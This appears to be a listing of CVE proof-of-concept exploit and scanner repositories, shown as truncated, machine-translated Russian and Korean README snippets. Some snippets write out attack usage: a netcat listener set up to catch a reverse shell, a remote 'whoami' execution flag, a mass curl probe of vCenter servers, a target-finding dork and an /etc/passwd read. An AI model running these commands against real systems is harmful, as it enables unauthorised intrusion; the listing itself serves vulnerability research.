CVE-2021-42013

Сканер уязвимости CVE-2021-42013 Этот скрипт на Python проверяет наличие уязвимости удаленного выполнения кода RCE CVE-2021-42013 в Apache 2.4.50. Введение Этот скрипт предназначен для выявления уязвимости CVE-2021-42013 RCE в Apache 2.4.50. Он анализирует заголовки ответа сервера, чтобы определи...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 и cve-2021-42073 cve-2021-41773 и cve-2021-42073 — массовый скрипт проверки на Python Среда выполнения: python3 Использование: python3 poc.py url.txt В url.txt помещаются URL-адреса для проверки. URL-адреса, содержащие уязвимость, записываются в success.txt Проверка довольно проста...

CVE-2020-13942-POC-

CVE-2020-13942 POC + 자동화 스크립트 단계 단계 1 : 즐겨찾는 버그 바운티 프로그램의 모든 대상 서브도메인을 열거합니다. 단계 2 : 이들을 targets.txt 파일에 넣습니다. 단계 3 : 스크립트를 실행합니다. 단계 4 : 취약한 대상을 발견하면, 저를 언급하는 것을 잊지 마세요 :...

CVE-2026-30502-OpenKM-6.3.12-Reflected-XSS

🛡️ CVE-2026-30502 — OpenKM v6.3.12에서의 반사형 XSS 발견 및 보고:Dharmendra Kumar — 보안 연구원 사이버 보안 | 침투 테스트 | 취약점 연구 | 책임 있는 공개 📌 목차 개요 CVE 세부사항 영향 받는 제품 취약점 설명 근본 원인 분석 영향 및 위험 평가 개념 증명PoC 수정 및 권장 사항 공개 타임라인 참고 자료 연구원 소개 🔍 개요 이 저장소는 기업 및 정부 환경에서 널리 사용되는 오픈 소스 문서 관리 시스템인 OpenKM v6.3.12 에서 식별된 반사형 XSSReflected...

CVE-2024-38856

CVE-2024-38856 Apache Ofbiz — сканер RCE Описание Этот скрипт предназначен для сканирования на наличие уязвимости CVE-2024-38856 в приложениях Apache Ofbiz, которая может позволить удаленное выполнение кода. Он отправляет HTTP POST-запросы на определенные пути внутри приложения Ofbiz с вредоносны...

CVE-2022-47966_checker

CVE-2022-47966checker Быстрый и грязный PowerShell-скрипт для поиска IOCs уязвимости CVE-2022-47966 в ManageEngine. Скрипт анализирует запросы в HTTP-журналах доступа ME. Если обнаружен характерный SAML-запрос, скрипт пытается декодировать и извлечь полезную нагрузку атакующего. Результаты...

CVE-2023-25157-checker

CVE-2023-25157-checker Скрипт, написанный на Go. PoC для CVE-2023-25157 Шаги по использованию 1. git clone https://github.com/7imbitz/CVE-2023-25157-checker.git 2. cd CVE-2023-25157-checker 3. go run CVE-2023-25157.go Замените на URL целевого сервера. Google Dork inurl:"/geoserver/ows?service=wfs...

http-pulse_ssl_vpn.nse

요약 Pulse Secure SSL VPN에서 특수하게 조작된 HTTP 리소스 요청을 통해 파일 노출을 탐지하는 간단한 NSE 스크립트입니다. 이 익스플로잇은 개념 증명으로 /etc/passwd를 읽습니다. 이 취약점은 다음 버전에 영향을 미칩니다 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, 9.0 before 9.0R3.4. 설치 $ git clone https://github.com/r00tpgp/http-pulsesslvpn.nse.git $ cd...

CVE-2026-59310

CVE-2026-59310 English | 한국어 설명 VMware vCenter contains a directory traversal vulnerability in the Syslog server. A malicious actor with network access to vCenter may exploit this issue to execute arbitrary code. 취약점 상세 정보 항목| 값 ---|--- CVE ID| CVE-2026-59310 취약점 유형| 경로 탐색 CVSS 점수| 9.8 개념 증명 PoC...

F5-BIG-IP-RCE-CVE-2022-1388

CVE-2022-1388 F5 BIG-IP RCE 멀티스레드 감지 사용법： 单个url: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx 批量多线程: python3 CVE-2022-1388.py -f url.txt 执行命令: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx -c whoami 결과:...

CVE-2024-36401

CVE-2024-36401 CVE-2024-36401 취약점 체크용 프로그램입니다. 사용법 먼저, 아래 명령어를 실행하여 통신 대기 상태로 만드세요. nc -lvnp 9000 그런 다음, 다른 창의 터미널에서 파일을 실행하세요. python CVE-2024-36401.py --target example.com --targetport 8080 --myip 172.26.16.100 --myport 9000 --target 상대방의 도메인 또는 IP 주소 --targetport 상대방의 서비스를 호스팅하는 포트 번호 --myip...

CVE-2023-25157

CVE-2023-25157 Это простой скрипт на Python для поиска последней уязвимости SQL-инъекции в GeoServer. Вы можете использовать скрипты на хостах для проверки наличия уязвимого пути. Установка: 1. git clone https://github.com/0x2458bughunt/CVE-2023-25157/ 2. cd CVE-2023-25157 3. chmod +x geoserver.s...

Log4J_checker

Log4Jchecker Apache CVE-2021-44228용 Log4J 검사기 log4j-checker.sh는 여러 검사를 통합하는 bash 스크립트입니다...

CVE-2024-32002

CVE-2024-32002 CVE-2024-32002를 기반으로 한 간단한 익스플로잇 스크립트입니다. 사용 방법 먼저, GitHub 또는 GitLab에 빈 저장소 2개를 생성합니다. 그다음, 이 스크립트를 git clone하고 실행합니다. 마지막으로: git clone –recursive repo2를 실행하여 자동 RCE를 수행합니다...

CVE-2021-22005

CVE-2021-22005 Однострочный массовый проверщик уязвимости RCE CVE-2021-22005 для VMware vCenter cat vmwarecenters.txt | while read S do; do curl --connect-timeout 15 --max-time 30 --silent --insecure --user-agent "vAPI/2.100.0 Java/1.8.0261 Linux; 4.19.160-6.ph3; amd64" -X POST...

CVE-2023-26256

CVE-2023-26255 CVE-2023-26256 POC Usage: python3 CVE-2023-26256.py -h...

CVE-2024-21413

CVE-2024-21413 Этот скрипт на Python используется для эксплуатации CVE-2024-21413, получившей название "MonikerLink" Комната TryHackMe: MonikerLink Допущения Данный PoC создан для лабораторной среды, что означает необходимость специальной настройки сервера например, аутентификация TLS не...

iconvfix

iconvfix CVE-2024-2961 패치를 위한 Bash 스크립트 현재 Centos7에서 작동합니다. 보증 없음, 프로덕션 시스템에서 사용하지 마세요. 이는 내부 도우미일 뿐입니다 : 사용법 tsh ssh username@target sudo 'bash -s' iconvfix.sh...

CVE-2019-19652

CVE-2019-19652 Chevereto 다운그레이드 공격 - 1.0.0 - 1.1.4 Free, = 3.13.5 Core. 관리자 사용자는 업데이트 스크립트에 업그레이드 대신 다른 버전으로 다운그레이드하도록 지시할 수 있으며, 이로 인해 이전 결함이 다시 도입됩니다. CSRF 토큰이 없기 때문에 이 공격은 CSRF 공격에도 사용될 수 있으며, 관리자 사용자가 속아서 이 작업을 수행하도록 유도될 수 있습니다. 관리자 사용자는 업데이트 스크립트에 모든 버전심지어 오래된 버전을 다운로드하도록 지시할 수 있습니다 서버는 다운로드...

CVE-2023-49984

CVE-2023-49984 School Fees Management System v1.0 - "/management/settings"의 "name" 필드/매개변수에서의 XSSCross-Site Scripting 취약점 설명 : School Fees Management System v1.0의 "/management/settings" 구성 요소에서 발견된 XSSCross-Site Scripting 취약점으로, 공격자가 name 매개변수에 삽입된 조작된 페이로드를 통해 임의의 웹 스크립트 또는 HTML을 실행할 수 있습니다. 취약한...